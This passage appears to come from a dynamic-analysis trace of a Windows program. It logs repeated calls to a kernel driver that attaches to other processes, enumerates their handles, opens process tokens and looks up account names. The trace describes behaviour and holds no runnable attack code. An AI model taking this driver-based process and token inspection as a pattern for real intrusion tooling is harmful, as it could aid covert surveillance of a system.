0x0 [0072.421] PsAcquireProcessExitSynchronization () returned 0x0 [0072.421] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880054f85d0) [0072.421] ObReferenceObjectByHandle (in: Handle=0x408, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80019c4430, HandleInformation=0x0) returned 0x0 [0072.421] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.421] PsReleaseProcessExitSynchronization () returned 0x2 [0072.421] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xac [0072.421] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039dc044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039dc044, ReturnLength=0xfffff880054f8508) returned 0x0 [0072.421] ObfDereferenceObject (Object=0xfffffa80019c4430) returned 0x1 [0072.421] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.421] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.421] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.421] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0xd0, lpOverlapped=0x0) returned 1 [0072.421] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.421] PsAcquireProcessExitSynchronization () returned 0x0 [0072.421] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880054f85d0) [0072.421] ObReferenceObjectByHandle (in: Handle=0x420, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8001a2bb60, HandleInformation=0x0) returned 0x0 [0072.422] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.422] PsReleaseProcessExitSynchronization () returned 0x2 [0072.422] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xac [0072.422] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039db044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039db044, ReturnLength=0xfffff880054f8508) returned 0x0 [0072.422] ObfDereferenceObject (Object=0xfffffa8001a2bb60) returned 0x12 [0072.422] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.422] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.422] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.422] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0xee, lpOverlapped=0x0) returned 1 [0072.422] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.422] PsAcquireProcessExitSynchronization () returned 0x0 [0072.422] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880054f85d0) [0072.422] ObReferenceObjectByHandle (in: Handle=0x460, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8001a2b850, HandleInformation=0x0) returned 0x0 [0072.422] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.422] PsReleaseProcessExitSynchronization () returned 0x2 [0072.422] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xac [0072.422] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039da044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039da044, ReturnLength=0xfffff880054f8508) returned 0x0 [0072.422] ObfDereferenceObject (Object=0xfffffa8001a2b850) returned 0x1 [0072.422] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.422] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.422] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.422] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0xbc, lpOverlapped=0x0) returned 1 [0072.422] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.422] PsAcquireProcessExitSynchronization () returned 0x0 [0072.422] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880054f85d0) [0072.423] ObReferenceObjectByHandle (in: Handle=0x480, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8001a312b0, HandleInformation=0x0) returned 0x0 [0072.423] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.423] PsReleaseProcessExitSynchronization () returned 0x2 [0072.423] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xac [0072.423] ObQueryNameString (in: Object=0xfffffa8001a312b0, ObjectNameInfo=0xfffffa80039d8044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039d8044, ReturnLength=0xfffff880054f8550) returned 0x0 [0072.423] ObfDereferenceObject (Object=0xfffffa8001a312b0) returned 0x3 [0072.423] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.423] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.423] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.423] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x50, lpOverlapped=0x0) returned 1 [0072.423] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.423] PsAcquireProcessExitSynchronization () returned 0x0 [0072.423] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880054f85d0) [0072.423] ObReferenceObjectByHandle (in: Handle=0x4b4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001cb7240, HandleInformation=0x0) returned 0x0 [0072.423] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.423] PsReleaseProcessExitSynchronization () returned 0x2 [0072.423] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xac [0072.423] ObQueryNameString (in: Object=0xfffff8a001cb7240, ObjectNameInfo=0xfffffa80039e1044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039e1044, ReturnLength=0xfffff880054f8550) returned 0x0 [0072.423] ObfDereferenceObject (Object=0xfffff8a001cb7240) returned 0x2 [0072.423] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.423] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.423] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.424] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0072.424] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.424] PsAcquireProcessExitSynchronization () returned 0x0 [0072.424] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880054f85d0) [0072.424] ObReferenceObjectByHandle (in: Handle=0x508, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0072.424] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.424] PsReleaseProcessExitSynchronization () returned 0x2 [0072.424] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xac [0072.424] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80039e3044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039e3044, ReturnLength=0xfffff880054f8550) returned 0x0 [0072.424] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0072.424] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.424] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.424] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x770) returned 0xc0 [0072.424] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0072.424] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa8001ee8b30, HandleInformation=0x0) returned 0x0 [0072.424] ObOpenObjectByPointer (in: Object=0xfffffa8001ee8b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff80000960) returned 0x0 [0072.424] ObfDereferenceObject (Object=0xfffffa8001ee8b30) returned 0x12 [0072.424] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000960, DesiredAccess=0x8, TokenHandle=0xfffffa800268c4c0 | out: TokenHandle=0xfffffa800268c4c0*=0xc8) returned 0x0 [0072.424] ZwClose (Handle=0xffffffff80000960) returned 0x0 [0072.424] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.424] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0072.424] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0072.426] CloseHandle (hObject=0xc8) returned 1 [0072.426] CloseHandle (hObject=0xc0) returned 1 [0072.426] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.426] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0072.426] PsLookupProcessByProcessId (in: ProcessId=0x770, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.427] PsAcquireProcessExitSynchronization () returned 0x0 [0072.427] KeStackAttachProcess (in: PROCESS=0xfffffa8001ee8b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001ee8b30, ApcState=0xfffff880054f85d0) [0072.427] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8001f8e070, HandleInformation=0x0) returned 0x0 [0072.427] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.427] PsReleaseProcessExitSynchronization () returned 0x2 [0072.427] ObfDereferenceObject (Object=0xfffffa8001ee8b30) returned 0x10 [0072.427] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039f4044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039f4044, ReturnLength=0xfffff880054f8508) returned 0x0 [0072.427] ObfDereferenceObject (Object=0xfffffa8001f8e070) returned 0x1 [0072.427] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.427] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.427] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.427] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x94, lpOverlapped=0x0) returned 1 [0072.427] PsLookupProcessByProcessId (in: ProcessId=0x770, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.427] PsAcquireProcessExitSynchronization () returned 0x0 [0072.427] KeStackAttachProcess (in: PROCESS=0xfffffa8001ee8b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001ee8b30, ApcState=0xfffff880054f85d0) [0072.427] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8001ee8420, HandleInformation=0x0) returned 0x0 [0072.427] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.427] PsReleaseProcessExitSynchronization () returned 0x2 [0072.427] ObfDereferenceObject (Object=0xfffffa8001ee8b30) returned 0x10 [0072.427] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039f5044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039f5044, ReturnLength=0xfffff880054f8508) returned 0x0 [0072.427] ObfDereferenceObject (Object=0xfffffa8001ee8420) returned 0x1 [0072.427] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.428] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.428] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.428] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0072.428] PsLookupProcessByProcessId (in: ProcessId=0x770, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.428] PsAcquireProcessExitSynchronization () returned 0x0 [0072.428] KeStackAttachProcess (in: PROCESS=0xfffffa8001ee8b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001ee8b30, ApcState=0xfffff880054f85d0) [0072.428] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0072.428] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.428] PsReleaseProcessExitSynchronization () returned 0x2 [0072.428] ObfDereferenceObject (Object=0xfffffa8001ee8b30) returned 0x10 [0072.428] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80039f6044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039f6044, ReturnLength=0xfffff880054f8550) returned 0x0 [0072.428] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0072.428] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.428] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.428] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x408) returned 0xc0 [0072.428] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0072.428] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa8001f9e530, HandleInformation=0x0) returned 0x0 [0072.428] ObOpenObjectByPointer (in: Object=0xfffffa8001f9e530, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff80000960) returned 0x0 [0072.428] ObfDereferenceObject (Object=0xfffffa8001f9e530) returned 0x12 [0072.428] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000960, DesiredAccess=0x8, TokenHandle=0xfffffa800268c4c0 | out: TokenHandle=0xfffffa800268c4c0*=0xc8) returned 0x0 [0072.428] ZwClose (Handle=0xffffffff80000960) returned 0x0 [0072.429] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.429] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0072.429] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0072.431] CloseHandle (hObject=0xc8) returned 1 [0072.431] CloseHandle (hObject=0xc0) returned 1 [0072.431] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.431] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0072.431] PsLookupProcessByProcessId (in: ProcessId=0x408, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.431] PsAcquireProcessExitSynchronization () returned 0x0 [0072.431] KeStackAttachProcess (in: PROCESS=0xfffffa8001f9e530, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001f9e530, ApcState=0xfffff880054f85d0) [0072.431] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8001f9ed10, HandleInformation=0x0) returned 0x0 [0072.431] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.431] PsReleaseProcessExitSynchronization () returned 0x2 [0072.431] ObfDereferenceObject (Object=0xfffffa8001f9e530) returned 0x10 [0072.431] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039f7044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039f7044, ReturnLength=0xfffff880054f8508) returned 0x0 [0072.431] ObfDereferenceObject (Object=0xfffffa8001f9ed10) returned 0x1 [0072.431] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.432] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.432] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.432] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8a, lpOverlapped=0x0) returned 1 [0072.432] PsLookupProcessByProcessId (in: ProcessId=0x408, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.432] PsAcquireProcessExitSynchronization () returned 0x0 [0072.432] KeStackAttachProcess (in: PROCESS=0xfffffa8001f9e530, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001f9e530, ApcState=0xfffff880054f85d0) [0072.432] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8001fa0a20, HandleInformation=0x0) returned 0x0 [0072.432] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.432] PsReleaseProcessExitSynchronization () returned 0x2 [0072.432] ObfDereferenceObject (Object=0xfffffa8001f9e530) returned 0x10 [0072.432] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039f8044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039f8044, ReturnLength=0xfffff880054f8508) returned 0x0 [0072.432] ObfDereferenceObject (Object=0xfffffa8001fa0a20) returned 0x1 [0072.432] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.432] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.432] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.432] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0072.432] PsLookupProcessByProcessId (in: ProcessId=0x408, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.432] PsAcquireProcessExitSynchronization () returned 0x0 [0072.432] KeStackAttachProcess (in: PROCESS=0xfffffa8001f9e530, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001f9e530, ApcState=0xfffff880054f85d0) [0072.432] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0072.432] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.432] PsReleaseProcessExitSynchronization () returned 0x2 [0072.432] ObfDereferenceObject (Object=0xfffffa8001f9e530) returned 0x10 [0072.432] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80039f9044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039f9044, ReturnLength=0xfffff880054f8550) returned 0x0 [0072.432] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0072.432] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.433] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.433] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x664) returned 0xc0 [0072.433] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0072.433] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa8001fb3b30, HandleInformation=0x0) returned 0x0 [0072.433] ObOpenObjectByPointer (in: Object=0xfffffa8001fb3b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff80000960) returned 0x0 [0072.433] ObfDereferenceObject (Object=0xfffffa8001fb3b30) returned 0x12 [0072.433] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000960, DesiredAccess=0x8, TokenHandle=0xfffffa800268c4c0 | out: TokenHandle=0xfffffa800268c4c0*=0xc8) returned 0x0 [0072.433] ZwClose (Handle=0xffffffff80000960) returned 0x0 [0072.433] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.433] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0072.433] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, 